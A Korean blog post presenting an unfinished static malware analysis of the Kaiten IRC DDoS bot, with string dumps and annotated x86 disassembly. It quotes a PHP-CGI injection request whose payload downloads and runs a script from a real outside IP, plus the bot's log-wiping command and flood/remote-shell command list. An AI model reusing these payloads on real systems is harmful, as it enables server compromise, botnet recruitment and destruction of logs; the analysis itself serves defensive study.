이 악성코드는 거의 올해 3월쯤, 업무 중 우연히 wget으로 다운로드 시도하는 취약점을 확인 후 그 URL만 따로 가져와서 집에서 분석해본 것이다. 그런데 제목에서 알 수 있듯이... 미완성이다. 물론 이 악성코드의 기본적인 기능에 대해서는 거의 다 기술했으나 내가 원하는 정도의 디테일은 아니다.


미완성이여서 일부러 포스팅을 하지 않았으나, better than nothing. 없는 것 보다는 좋다고 생각하여 공유한다. 그리고 사실 얼마전에 우연한 계기로 IRC bot을 구축해보게 되었다. 몇 일 삽질 좀 하다가 어제 완성시켰고 이 악성코드를 실행시켜본 결과 실제로 botnet으로 작동을 하더라. 우와 신기하다. 


이 포스팅에서는 오로지 그 악성코드(kaiten)에 대한 static analysis를 진행해보겠다. 그리고 다음 포스팅에서는 IRC bot을 실제로 구축한 것에 대해 포스팅 하겠다. 우선은 미완성으로 둔 보고서를 아래에 적어보려한다.


=======================================================================

우선, 해당 악성코드의 감염경로부터 살펴보자. 감염 경로에 대해서는 길게 이야기하지 않을 생각이다. 이전 보고서에서 자세하게 다뤘기 때문이다. 그래도 한번 집고 넘어가보자. 공격자는 이번 악성코드를 PHP취약점을 이용해서 배포했던 것으로 추정된다. 실제로 공격에 사용된 패킷을 구글링했을 경우, 큰 기업부터 작은 사이트를 운영하는 사람들에게도 많이 탐지된 것으로 보인다. 심지어 내가 운영하는 작디 작은 홈페이지에도 해당 이벤트가 탐지되었다.


# 공격 이벤트

POST /cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1 Host: 114.255.55.119 User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 Content-Type: application/x-www-fops-urlencoded Content-Length: 84 Connection: close 

<?php system("wget http://200.156.100.119/scen -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");


먼저 간략하게 위의 공격 이벤트를 설명해보자. 이는 파일이 업로드될 수 있는 환경이 되도록 PHP 환경변수를 조작한 후 공격자가 임의의 php 코드를 실행시켜서 서버로 하여금 악성코드를 다운로드 받도록 하기 위한 이벤트이다. 이벤트를 보면 wget 명령어를 통해서 scen이라는 파일을 다운로드 시도한 것을 확인할 수 있다. 이 때 다운로드 옵션으로 –O를 준 것을 확인할 수 있다. 이것은 wget http://221.132.37.26/scen > /tmp/sh 와 같은 구문으로 이해하면 된다. 즉 다운받은 내용을 /tmp/sh에 저장한다고 생각하면 된다. 단순 파일명을 바꿔서 저장하는 것과는 조금 차이가 있다. 예를 들어 기존에 /tmp/sh이라는 파일이 있을 경우에는 그 파일에 내용이 이어져서 쓰여지기 때문이다. 그리고 sh 명령어를 통해 해당 파일을 실행한 후, 자기 자신을 삭제한다. (공격자가 자신의 악성코드를 배포한 방법은 이 방법 말고도 다른 방법이 있을 수도 있다.)

이제 잠시 개념적인 이야기를 해보자. 보안 분야 업무를 하다보면, 혹은 굳이 보안 관련된 업무를 하지 않아도 본인의 직장 내 PC 보안 등등 관련하여 또는 뉴스에서도 botnet 또는 bot에 감염되었다 등등의 이야기를 자주 들을 수 있다. 과연 bot이란 무엇이며 bot에 감염이 되면 어떤 현상이 있을 수 있을까?

Bot은 robot의 줄임말이다. 로봇, 무언가 프로그래밍된 대로 움직이는 무언가. 그렇다. 결국 프로그래머가 의도한대로 움직이는 로봇(프로그램)이다. IRC bot은 그 bot이 IRC를 사용한다는 것이고 IRC bot 악성코드는 그 IRC bot이 정상적으로 IRC protocol을 사용하지 않고 악의적인 의도를 띄고 있다는 것이다. 자꾸 IRC IRC 그러는데 IRC가 무엇인지부터 알아보자.
IRC는 Internet Relay Chat의 줄임말이다. 채팅이다. 결국 채팅 프로그램 만들 때 사용하는 프로토콜을 이용하는 것이고 그 프로토콜을 악용해서 공격자는 이득을 취한 샘이다. 위키피디아에서는 이렇게 설명하고 있다.


Client/Server 모델로 작동하는 메시지를 텍스트 형태로 주고 받는 시스템이라고 한다. 사용자는 IRC 프로그램을 자신의 컴퓨터에 설치해서 서버와 메시지를 주고받으며 통신한다고 한다. 언뜻 생각하기에도 공격에 이용되기 딱 좋다. 클라이언트가 자신의 악성코드를 설치하게 되면 그 PC와 통신을 할 수 있으니 말이다. 가령, 공격자는 이런 시나리오를 작성할 수 있다.

“보안에 무지한 일반인들을 자신의 IRC bot으로 감염시킨다.(이메일 등등을 통하여) 그렇게 되면 여러 PC들이 자신의 IRC 서버와 통신을 하게 될 것이고, 공격자는 자기에게 붙어있는 PC들을(감염되어있는 무지한 일반인의 PC) 이용해서 자신의 실제 타겟을 공격한다.”

가령 DDoS IRC bot 같은 경우에는 미리 공격자가 IRC bot을 일반인들의 PC에 감염시킨 다음 실제 DDoS 공격을 진행할 장비들에 대하여 공격을 하라고 명령을 내리는 식으로 동작할 수 있다. 남성분들이라면 예전에 디아블로2 많이 하셨을 수도 있다. 디아블로2에서 네크로멘서가 어떤 식으로 공격하는가? 골렘 소환하고 죽은 시체를 살려서 좀비로 만든다음에 자기 대신에 공격하게 하고 그런 식으로 한다. 자기는 도망만 다닌다. 똑같다. IRC bot 쉽게 이해하려면 이런 식으로 이해해도 된다.

이제 실제로 악성코드 분석을 해보자. 실제 악성코드 분석을 진행하기에 앞서 한가지 집고 넘어가고 싶은 것이 있다. 악성코드 분석 방법론이다. 누구에게 배운 적도 없고 오로지 ‘이렇게 하면 어떨까?’ ‘저렇게 하면 어떻까?’ 하고 생각하면서 분석해봤다. 아무리 생각해봐도 체계적이지 않고 비효율적이다. 혹자는 ‘이게 무슨 악성코드 분석이야?’라고 생각할지도 모른다. 그래도 한번 내 방법대로 시작해보자.

우선 배경지식이 필요하다. 악성코드 분석을 하려면 무엇을 알아야할까? 가장 먼저 생각난 것은 File Format이다. File Format은 흔히 윈도우에서는 PE파일 구조를 말하고 Linux/Unix에서는 ELF 파일 구조를 의미한다. 이번에 분석할 악성코드는 Linux/Unix를 타켓으로 만들어진 것이므로 ELF 파일 구조부터 공부해보기로 했다. 
그런데 그 내용을 보고서에 전부 작성하기에는 양이 너무 많으므로 따로 링크를 통해 남겨둘 생각이다. 아래의 링크를 참고하면 된다.
http://operatingsystems.tistory.com/entry/SP-ELF-File
http://operatingsystems.tistory.com/entry/SP-Relocatable-Object-File
http://operatingsystems.tistory.com/entry/SP-Symbol-and-Symbol-Tables

또한 중요한 내용이 function call이나 system call의 원리이다. 이 내용은 아래의 링크를 참고하자.
http://operatingsystems.tistory.com/entry/SP-Procedure-Call
http://operatingsystems.tistory.com/entry/Kernel-System-Call-Calling-Convention

우선 분석할 악성코드가 IRC bot이라는 것도 모르는 백지 상태에서 출발해보자. 우선 가상 머신에서 실행을 시켜보자. 실행할 악성코드의 이름은 xxx이다.


이상한 파일명의 프로세스가 실행되고 있음을 확인할 수 있다. 이는 xxx라는 malware를 실행시키기 전과 후에 대한 비교이다. 이게 무엇인지는 모르겠으나 우선 추가적으로 가장 기본이 되는 네트워크 상태를 한번 확인해보자.


위의 그림을 통해서 확인해보면 200.156.100.119의 80번 포트로 SYN 패킷을 보냈으나 응답이 오지 않고 있는 상태임을 알 수 있다. (시간이 지나도 ESTABLISHED 상태가 되지 않는다.) 이로 추측해보았을 때, 공격자는 무슨 이유에서인지 현재는 본인의 서버를 운영하고 있지 않거나 IP를 바꿨거나 등등의 이유가 추측된다. 마음 같아서는 저 IP를 내가 직접 설정해놓은 IRC 서버(만일 있다면)로 보내서 명령어를 수행시켜보고 싶으나 공격을 시작하는 서버가 다운되어 있는 것으로 추정되어 해당 악성코드를 공격자의 의도대로 수행시키지는 못 했다.

해당 IP에 대하여 tcpdump를 수행하면 아래와 같은 패킷을 확인할 수 있다.


위의 패킷들은 모두 SYN 패킷이다. 지금까지의 결론으로 미루어 보아, 이 프로그램이 무엇인지는 모르겠으나 아무튼 200.156.100.119라는 공격자의 서버와의 통신을 시도한다는 것은 확인할 수 있다. 적어도 지금 예상할 수 있는 것은, 현재는 inactive 하지만 예전에는 active 했을 것으로 추정되는 IP 주소와 통신을 시도했기 때문에 socket 함수를 사용했을 거라고 예상할 수 있다.


처음에 분석을 시작하려고 하니까 뭐부터 시작해야 하는지 감이 오지 않았다. 그래서 우선 분석에 가장 중요한 elf header과 .rodata section 그리고 .text section을 각각의 파일로 저장해봤다. 생각보다 .rodata 영역에서 많은 것을 얻을 수 있었다. 프로그램에서 사용하는 constant data들을 모아놓은 영역이다. String과 같은 문자열 데이터도 여기서 찾아볼 수 있는데 아래와 같은 정보들을 찾아볼 수 있었다. 

# RODATA Section
String dump of section '.rodata':
  [    20]  200.156.100.119
  [    7c]  NOTICE %s :GET <host> <save as>
  [    a0]  NOTICE %s :Unable to create socket.
  [    c5]  http://
  [    d0]  NOTICE %s :Unable to resolve address.
  [    f8]  NOTICE %s :Unable to connect to http.
  [   120]  GET /%s HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)
Host: %s:80
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
  [   234]  NOTICE %s :Receiving file.
  [   250]  wb
  [   258]  NOTICE %s :Saved as %s
  [   270]  NOTICE %s :Spoofs: %d.%d.%d.%d
  [   290]  NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d
  [   2be]  NOTICE %s :Kaiten wa goraku
  [   2db]  NOTICE %s :NICK <nick>
  [   2f4]  NOTICE %s :Nick cannot be larger than 9 characters.
  [   329]  NICK %s
  [   332]  NOTICE %s :DISABLE <pass>
  [   374]  NOTICE %s :Current status is: %s.
  [   397]  NOTICE %s :Already disabled.
  [   3b8]  NOTICE %s :Password too long! > 254
  [   3e0]  NOTICE %s :Disable sucessful.
  [   3ff]  NOTICE %s :ENABLE <pass>
  [   419]  NOTICE %s :Already enabled.
  [   436]  NOTICE %s :Wrong password
  [   451]  NOTICE %s :Password correct.
  [   470]  NOTICE %s :Removed all spoofs
  [   490]  NOTICE %s :What kind of subnet address is that? Do something like: 169.40
  [   4db]  .0
  [   4e0]  NOTICE %s :Unable to resolve %s
  [   504]  NOTICE %s :UDP <target> <port> <secs>
  [   52b]  NOTICE %s :Packeting %s.
  [   5b0]  NOTICE %s :PAN <target> <port> <secs>
  [   5d7]  NOTICE %s :Panning %s.
  [   5f0]  NOTICE %s :TSUNAMI <target> <secs>
  [   614]  NOTICE %s :Tsunami heading for %s.
  [   638]  NOTICE %s :UNKNOWN <target> <secs>
  [   65c]  NOTICE %s :Unknowning %s.
  [   677]  NOTICE %s :MOVE <server>
  [   694]  NOTICE %s :TSUNAMI <target> <secs>        = Special packeter that wont be blocked by most firewalls
  [   70c]  NOTICE %s :PAN <target> <port> <secs>      = An advanced syn flooder that will kill most network drivers
  [   788]  NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder
  [   7d8]  NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder
  [   838]  NOTICE %s :NICK <nick>                                      = Changes the nick of the client
  [   898]  NOTICE %s :SERVER <server>                                  = Changes servers
  [   8e8]  NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
  [   944]  NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet
  [   9a0]  NOTICE %s :DISABLE                                          = Disables all packeting from this client
  [   a08]  NOTICE %s :ENABLE                                           = Enables all packeting from this client
  [   a70]  NOTICE %s :KILL                                             = Kills the client
  [   ac0]  NOTICE %s :GET <http address> <save as>         = Downloads a file off the web and saves it onto the hd
  [   b38]  NOTICE %s :VERSION                                          = Requests version of client
  [   b94]  NOTICE %s :KILLALL                                          = Kills all current packeting
  [   bf0]  NOTICE %s :HELP                                             = Displays this
  [   c40]  NOTICE %s :IRC <command>                                    = Sends this command to the server
  [   ca0]  NOTICE %s :SH <command>                                     = Executes a command
  [   cf2]  NOTICE %s :Killing pid %d.
  [   d0e]  TSUNAMI
  [   d16]  PAN
  [   d1a]  UDP
  [   d1e]  UNKNOWN
  [   d26]  NICK
  [   d2b]  SERVER
  [   d32]  GETSPOOFS
  [   d3c]  SPOOFS
  [   d43]  DISABLE
  [   d4b]  ENABLE
  [   d52]  KILL
  [   d57]  GET
  [   d5b]  VERSION
  [   d63]  KILLALL
  [   d6b]  HELP
  [   d70]  IRC 
  [   d75]  %s
  [   d79]  SH 
  [   d80]  export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s
[   e74]  rm -rf /var/log/syslog;touch /var/log/syslog;chmod 0000 /var/log/syslog;chattr +isa /var/log/syslog;
  [   ee5]  [pdflush]
  [   eef]  #http
  [   ef5]  t3t4
  [   efc]  NICK %s
USER %s localhost localhost :%s
  [  1126]  /bin/sh

위의 내용들은 .rodata section의 매우 일부이다. 분석을 시작하기 전에 알면 좋을 만한 정보들만 추려놨다. 위의 정보에서 왼쪽에 있는 숫자들을 봐보자. 저것은 .rodata의 시작 주소로부터의 offset 값이다. 시작 주소는 elf header 정보를 통해서 알 수 있다.


위의 그림을 보면 .rodata가 0x80b2300부터 시작함을 알 수 있다. 따라서 .rodata section의 왼쪽에 있는 숫자들은 0x80b2300+offset 의 값으로 .text section에서 접근이 가능하다. 그러면 .rodata section에 어떤 값들을 눈여겨 볼지 생각해보자.

0x80b2300+0x20=0x80b2320
200.156.100.19
0x80b2320에서 IP문자열을 확인할 수 있다. 아마도 공격에 사용되는 C&C 서버가 아닐까 추측된다. (아직은 추측만 해보자.)

0x80b2300+0x120=0x80b2420
GET /%s HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)
Host: %s:80
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
http header로 추정되는 문자열도 있다. 

0x80b2300+0x504=0x80b2804 and etc
NOTICE %s :UDP <target> <port> <secs> 외 다수
NOTICE로 시작하는 아주 많은 string도 확인할 수 있다. 이 악성코드의 주요 기능으로 추정된다. (나도 알고 있다. 아마도 세상에서 제일 친절한? 악성코드가 아닌가 싶다. 이번 케이스는 운이 좋은 것이라고 봐야될 것 같다.) 

0x80b2300+0xd80=0x80b3080과 0x80b2300+0x1126=0x80b3426
export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s
/bin/sh
shell을 실행하는데 필요할 것으로 추정되는 문자열들도 있다. 

0x80b2300+0xe74=0x80b3174
rm -rf /var/log/syslog;touch /var/log/syslog;chmod 0000 /var/log/syslog;chattr +isa /var/log/syslog; 
삭제를 하는 시스템 명령어이다. 보아하니 흔적을 지우기 위한 시도로 보인다. 
보통 /var/log/syslog는 kernel이나 cron, mail, daemon 등에 대한 로그 등을 저장하는 파일이다. 그 파일을 삭제하고(rm -rf /var/log/syslog), 새로 만들되(touch /var/log/syslog) 권한을 0000으로 만들고(chmod 0000 /var/log/syslog) isa attribute을 추가(+)하라(chattr +isa /var/log/syslog)는 뜻이다. +isa를 하게 되면 해당 파일은 append mode + cannot be deleted + secure deletion의 속성을 가지게 된다. 

이러한 내용들은 바이러스 감염을 확인하는데 (1차적으로)필요할 수도 있겠다는 생각을 했다. 가령 피해가 의심되는 시스템이 있는데 확인해보니 syslog파일이 위와 같이 설정이 되어있다면, 그리고 200.156.100.119와의 통신하고 있다는 것을 netstat –na 명령어 등으로 확인할 수 있다면 감염 여부를 1차적으로 진단할 수 있지 않을까?

그러나 지금은 어느 정도 .text영역을 통해서 행위를 분석해보고자 하는 것이다. 우선 main함수부터 시작해보면 될 것 같다. main함수에서 수행되는 주된 역할은 아래와 같다.

a. 시스템 로그 삭제
b. /dev/shm/.x 파일 생성
c. 공격자 서버로의 접속
d. 공격자의 명령어 수행

main 함수에서 시스템 로그 삭제하는 부분은 아래와 같이 확인할 수 있다.

# main()
0804aeea <main>:
804aeea: 8d 4c 24 04           lea    0x4(%esp),%ecx
804aeee: 83 e4 f0             and    $0xfffffff0,%esp
804aef1: ff 71 fc             pushl  -0x4(%ecx)
804aef4: 55                   push   %ebp
804aef5: 89 e5                 mov    %esp,%ebp
804aef7: 53                   push   %ebx
804aef8: 51                   push   %ecx
804aef9: 81 ec e0 19 00 00     sub    $0x19e0,%esp
804aeff: 89 8d 34 e6 ff ff     mov    %ecx,-0x19cc(%ebp)
804af05: c7 04 24 74 31 0b 08 movl   $0x80b3174,(%esp)
804af0c: e8 9f 24 00 00       call   804d3b0 <__libc_system>

$0x80b3174에 있는 내용은 .rodata 영역에서 확인할 수 있는데 
rm -rf /var/log/syslog;touch /var/log/syslog;chmod 0000 /var/log/syslog;chattr +isa /var/log/syslog; 
와 같다. 아무래도 흔적을 감추기 위한 행위로 추정된다. 그 다음에 바로 이어서 /dev/shm/.x 파일을 생성하는 부분을 확인할 수 있다.

……

804af0c: e8 9f 24 00 00       call   804d3b0 <__libc_system>

804af11: c7 44 24 08 b6 01 00 movl   $0x1b6,0x8(%esp)

804af18: 00 

804af19: c7 44 24 04 42 00 00 movl   $0x42,0x4(%esp)

804af20: 00 

804af21: c7 04 24 d9 31 0b 08 movl   $0x80b31d9,(%esp)     # /dev/shm/.x

804af28: e8 e3 f8 00 00       call   805a810 <__libc_open>

804af2d: 89 45 d4             mov    %eax,-0x2c(%ebp)

804af30: c7 44 24 04 06 00 00 movl   $0x6,0x4(%esp)

804af37: 00 

804af38: 8b 45 d4             mov    -0x2c(%ebp),%eax

804af3b: 89 04 24             mov    %eax,(%esp)

804af3e: e8 2d fb 00 00       call   805aa70 <__flock>

804af43: 89 45 d8             mov    %eax,-0x28(%ebp)

804af46: 83 7d d8 00           cmpl   $0x0,-0x28(%ebp)

804af4a: 74 11                 je     804af5d <main+0x73>

804af4c: e8 9f 0c 00 00       call   804bbf0 <__errno_location>

804af51: c7 04 24 01 00 00 00 movl   $0x1,(%esp)


__libc_open과 관련된 부분은 빨간색으로 __flock과 관련된 부분은 파란색으로 적어놨다. __libc_open 함수와 __flock 함수의 파라미터 부분도 표시해두었는데 open 함수에서 movl   $0x80b31d9,(%esp)와 flock 함수에서 mov    %eax,(%esp)부분을 제외하고는 각 파라미터가 어떠한 값을 의미하는지 정확하게 알아내지는 못 했다. 그리고 그 다음으로 알아볼 부분은 con() 함수 호출 부분이다.


……

804b27f: mov    0x80d2be8,%eax

804b284: movl   $0x0,0xc(%esp)

804b28c: movl   $0x1000,0x8(%esp)

804b294: lea    -0x19c4(%ebp),%edx

804b29a: mov    %edx,0x4(%esp)

804b29e: mov    %eax,(%esp)

804b061: call   804ac80 <con>

804b066: mov    0x80d2bec,%eax

804b2a1: call   805b840 <__libc_recv>

804b2a6: mov    %eax,-0xc(%ebp)

804b2a9: cmpl   $0x0,-0xc(%ebp)

804b2ad: jle    804b061 <main+0x177> 

804b2b3: mov    -0xc(%ebp),%eax


이 부분에서 call  805b840 부분을 자세히 봐보자. 이 부분은 con() 호출을 통해 소켓을 생성한 뒤 해당 소켓으로부터 데이터를 받을 때 사용된다. 그렇다면 con()을 통해서 소켓을 생성한다는 것을 우선 확인하고 다시 call  805b840로 돌아와보자. 


0804ac80 <con>:

804ac80: 55                   push   %ebp

804ac81: 89 e5                 mov    %esp,%ebp

.....

804acc5: movl   $0x0,0x80d0960

804accf: movl   $0x6,0x8(%esp)

804acd7: movl   $0x1,0x4(%esp)

804acdf: movl   $0x2,(%esp)

804ace6: call   805b980 <__socket>

804aceb: mov    %eax,0x80d2be8 # socket descriptor is saved

804acf0: mov    0x80d2be8,%eax

804acf5: test   %eax,%eax

804acf7: js     804accf <con+0x4f>

804acf9: mov    0x80d2d00,%eax # value of server

804acfe: mov    %eax,(%esp)

804ad01: call   805bd20 <inet_addr> # convert IP into long type

804ad06: test   %eax,%eax

804ad08: je     804ad1c <con+0x9c> # goto :con2 if no IP address is returned

…..

804ad86: movw   $0x2,-0x1c(%ebp)

804ad8c: movl   $0x50,(%esp) # decimal 80

804ad93: call   805c1c0 <htons> # convert decimal 80 into TCP/IP form

804ad98: mov    %ax,-0x1a(%ebp)

....


# %ebp-0x1c is the value of %eax, which may contain the value of sockaddr structure

804ade9: mov    %eax,0x4(%esp)

804aded: mov    %edx,(%esp) # parm1 : socket descriptor

804adf0: call   805b7c0 <__connect_internal>

804adf5: test   %eax,%eax

......


대략 con() 함수를 보면 __socket 함수를 통해서 socket descriptor(at 0x80d2be8)를 구한다. 그 후 연결할 IP port번호를 각각 inet_addr htons 함수를 통해 형태를 바꿔서 sockaddr structure에 저장한다. 아마도 이 sockaddr structure %ebp-0x1c에 저장되어 있을 것으로 추정된다. (확인이 어려웠다.) 마지막으로 socket descriptor sockaddr을 파라미터로 하여 <__connect_internal>를 호출하여 연결한다. sockaddr structure %ebp-0x1c에 있다는 것을 확인하지 못 한 것이 조금 아쉽다.

 

위와 같이 con()함수를 통해 공격자 서버와 connection establish , 공격자의 명령을 받아 수행하게 된다. 이 때 수행하는 방법은 libc_recv 함수 call을 통해서 수행한다.


804b3d8: movl   $0x0,-0xc(%ebp)

804b3df: jmp    804b42b <main+0x541> # goto :main1


:main2

804b3e1: mov    -0xc(%ebp),%eax

804b3e4: mov    0x80d0140(,%eax,8),%edx # msgs structure object

804b3eb: lea    -0x5c4(%ebp),%eax

804b3f1: mov    %eax,0x4(%esp)

804b3f5: mov    %edx,(%esp)

804b3f8: call   80599b0 <__strcasecmp>

804b3fd: test   %eax,%eax

804b3ff: jne    804b427 <main+0x53d>

804b401: mov    -0xc(%ebp),%eax

804b404: mov    0x80d0144(,%eax,8),%ecx # %ecx = 0x80d0144 + %eax*8

804b40b: mov    0x80d2be8,%edx

804b411: mov    -0x10(%ebp),%eax

804b414: mov    %eax,0x8(%esp)

804b418: lea    -0x9c4(%ebp),%eax

804b41e: mov    %eax,0x4(%esp)

804b422: mov    %edx,(%esp)


# it allows %eip jump to any function the attacker want to execute

# function pointer

804b425: call   *%ecx

804b427: addl   $0x1,-0xc(%ebp)


:main1

804b42b: mov    -0xc(%ebp),%eax # %eax = 0

804b42e: mov    0x80d0140(,%eax,8),%eax # %eax=0x80d0140+%eax*8 = 0x80d0140

804b435: test   %eax,%eax

804b437: jne    804b3e1 <main+0x4f7> # goto :main2 if TRUE

804b439: movl   $0x80b3229,0x4(%esp) # "ERROR"


실제로 프로그램을 수행시키면서 할 수 없어서 확인 불가능한 것이 너무 많다. 위의 assembly instruction에서 0x80d0140를 찾을 수 있다. 이 값은 무엇일까? ELF header에서 찾을 수 있다.


위의 그림을 보면 msgs라는 OBJECT가 선언되어있는 것을 알 수 있다. 여기서 OBJECT를 structure라고 단정짓기는 힘들다. 그렇지만 위의 assembly instruction을 고려해봤을 때(call *%ecx) structure로 추정된다. 위의 assembly instruction에서 봤을 때 call   *%ecx 부분은 function pointer로 추정된다. 즉, 공격자의 명령어를 libc_recv를 통해서 받은 다음 그 명령어를 strcasecmp(대소문자 구분 없는 문자열 비교)를 통해서 비교한다. 일치할 경우, mov    0x80d0144(,%eax,8),%ecx 를 통해서 structure에서 member function을 %ecx에 복사하여 해당하는 함수를 호출한다. 이 때 호출 가능한 함수들의 list는 아래와 같다. 이는 ELF header의 .symtab 부분을 통해서 확인한 값이다.


1784: 0804a486  1206 FUNC    GLOBAL DEFAULT    3 _PRIVMSG

1605: 0804a93c   102 FUNC    GLOBAL DEFAULT    3 _376

2230: 0804a9a2    34 FUNC    GLOBAL DEFAULT    3 _PING

1098: 0804a9c4   527 FUNC    GLOBAL DEFAULT    3 _352

2362: 0804abd3    31 FUNC    GLOBAL DEFAULT    3 _433


이제 위의 함수들을 분석하면 전체적으로 xxx malware에 대한 분석을 마치게 된다.


우선 처음으로 분석해볼 함수는 _PRIVMSG이다. 이 함수에서는 아래의 명령어들이 수행된다.


804a5e3: c7 44 24 04 70 30 0b movl   $0x80b3070,0x4(%esp) # "IRC"

804a646: c7 44 24 04 79 30 0b movl   $0x80b3079,0x4(%esp) # "SH"

804a8f4: ff d1                 call   *%ecx


.rodata section을 확인해보면 $0x80b3070와 $0x80b3079가 각각 “IRC” “SH”라는 것을 확인할 수 있다. SH 부분을 봐보자.


:PRIVMSG9

804a63e: movl   $0x3,0x8(%esp)

804a646: movl   $0x80b3079,0x4(%esp) # "SH"

804a64e: mov    -0x18(%ebp),%eax

804a651: mov    %eax,(%esp)

804a654: call   80591e0 <strncmp> # strncmp( , "SH")

804a659: test   %eax,%eax

804a65b: jne    804a75e <_PRIVMSG+0x2d8> # goto :PRIVMSG_SH

804a661: mov    0xc(%ebp),%eax

804a664: mov    %eax,(%esp)

804a667: call   804838d <mfork>

804a66c: test   %eax,%eax

804a66e: jne    804a932 <_PRIVMSG+0x4ac> # goto :PRIVMSG4

804a674: movl   $0x400,0x8(%esp) # 1024

804a67c: movl   $0x0,0x4(%esp)

804a684: lea    -0x850(%ebp),%eax

804a68a: mov    %eax,(%esp)

804a68d: call   8059840 <memset>

804a692: mov    -0x18(%ebp),%eax

804a695: add    $0x3,%eax

804a698: mov    %eax,0x8(%esp)


#"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s"

804a69c: movl   $0x80b3080,0x4(%esp)

804a6a4: lea    -0x850(%ebp),%eax

804a6aa: mov    %eax,(%esp)


# sprintf returns the number of byte of result and save result in buffer

804a6ad: call   804d6f0 <_IO_sprintf>

804a6b2: movl   $0x80b234e,0x4(%esp) # "r"

804a6ba: lea    -0x850(%ebp),%eax

804a6c0: mov    %eax,(%esp) # result from _IO_sprintf is passed to _IO_new_popen

804a6c3: call   804e1e0 <_IO_new_popen> # shell command is executed. 

804a6c8: mov    %eax,-0xc(%ebp)

804a6cb: jmp    804a738 <_PRIVMSG+0x2b2> # goto :PRIVMSG11


공격자가 SH를 수행하면 클라이언트의 PC에서 원격으로 명령어를 실행할 수 있다. 위의 코드를 보면 아래에 _IO_new_popen 함수를 호출하는 것을 알 수 있는데 이 함수를 호출하면 sub function call이 "_IO_new_popen" → "_IO_new_proc_open" → "execl" → "__execve" → "int    $0x80" 이와 같이 수행된다. __execve 함수에서 int $0x80을 수행해서 system call 호출하여 shell 명령어를 수행시킬 수 있다.

0804a93c <_376>:
804a93c: push   %ebp
804a93d: mov    %esp,%ebp
804a93f: sub    $0x18,%esp
804a942: mov    0x80d2be4,%eax # nick
804a947: mov    %eax,0x8(%esp)
804a94b: movl   $0x80b30cd,0x4(%esp) # "MODE %s -xi"
804a953: mov    0x8(%ebp),%eax
804a956: mov    %eax,(%esp)
804a959: call   8048342 <Send>
804a95e: mov    0x80d2d04,%eax # key
804a963: mov    0x80d2d08,%edx # chan
804a969: mov    %eax,0xc(%esp)
804a96d: mov    %edx,0x8(%esp)
804a971: movl   $0x80b30da,0x4(%esp) # "JOIN %s :%s"
804a979: mov    0x8(%ebp),%eax
804a97c: mov    %eax,(%esp)
804a97f: call   8048342 <Send>
804a984: mov    0x80d2be4,%eax
804a989: mov    %eax,0x8(%esp)
804a98d: movl   $0x80b30e7,0x4(%esp) # "WHO %s"
804a995: mov    0x8(%ebp),%eax
804a998: mov    %eax,(%esp)
804a99b: call   8048342 <Send>
804a9a0: leave  
804a9a1: ret

0804a9a2 <_PING>:
804a9a2: push   %ebp
804a9a3: mov    %esp,%ebp
804a9a5: sub    $0x18,%esp
804a9a8: mov    0x10(%ebp),%eax
804a9ab: mov    %eax,0x8(%esp)
804a9af: movl   $0x80b30ef,0x4(%esp) # "PONG %s"
804a9b7: mov    0x8(%ebp),%eax
804a9ba: mov    %eax,(%esp)
804a9bd: call   8048342 <Send>
804a9c2: leave
804a9c3: ret

0804abd3 <_433>:
804abd3: push   %ebp
804abd4: mov    %esp,%ebp
804abd6: sub    $0x8,%esp
804abd9: mov    0x80d2be4,%eax # nick
804abde: mov    %eax,(%esp)
804abe1: call   8056380 <__cfree>
804abe6: call   804852e <makestring>
804abeb: mov    %eax,0x80d2be4
804abf0: leave  
804abf1: ret

_376, _PING, _433 함수에서는 그다지 긴 설명이 필요없을 듯 하다. IRC protocol에 정의되어있는 명령어인 MODE, JOIN, WHO를 수행할 수 있는 함수이다. 해당 함수에 대한 설명은 IRC protocol을 참고하면 될 것 같다.


_PRIVMSG 함수에서 수행할 수 있는 명령은 아래의 세가지였다.


804a5e3: c7 44 24 04 70 30 0b movl   $0x80b3070,0x4(%esp) # "IRC"

804a646: c7 44 24 04 79 30 0b movl   $0x80b3079,0x4(%esp) # "SH"

804a8f4: ff d1                 call   *%ecx


이 중에서 마지막 function pointer 관련된 부분을 보자.

:PRIVMSG30
804a8ac: mov    -0x10(%ebp),%eax
804a8af: mov    0x80d00c0(,%eax,8),%edx # flooders structure object
804a8b6: lea    -0x450(%ebp),%eax
804a8bc: mov    %eax,0x4(%esp)
804a8c0: mov    %edx,(%esp)
804a8c3: call   80599b0 <__strcasecmp>
804a8c8: test   %eax,%eax
804a8ca: jne    804a91c <_PRIVMSG+0x496> # goto :PRIVMSG27
804a8cc: mov    -0x10(%ebp),%eax
804a8cf: mov    0x80d00c4(,%eax,8),%ecx
804a8d6: mov    -0x14(%ebp),%eax
804a8d9: lea    -0x1(%eax),%edx
804a8dc: lea    -0x50(%ebp),%eax
804a8df: mov    %eax,0xc(%esp)
804a8e3: mov    %edx,0x8(%esp)
804a8e7: mov    0xc(%ebp),%eax
804a8ea: mov    %eax,0x4(%esp)
804a8ee: mov    0x8(%ebp),%eax
804a8f1: mov    %eax,(%esp)
804a8f4: call   *%ecx
804a8f6: movl   $0x1,-0x20(%ebp)
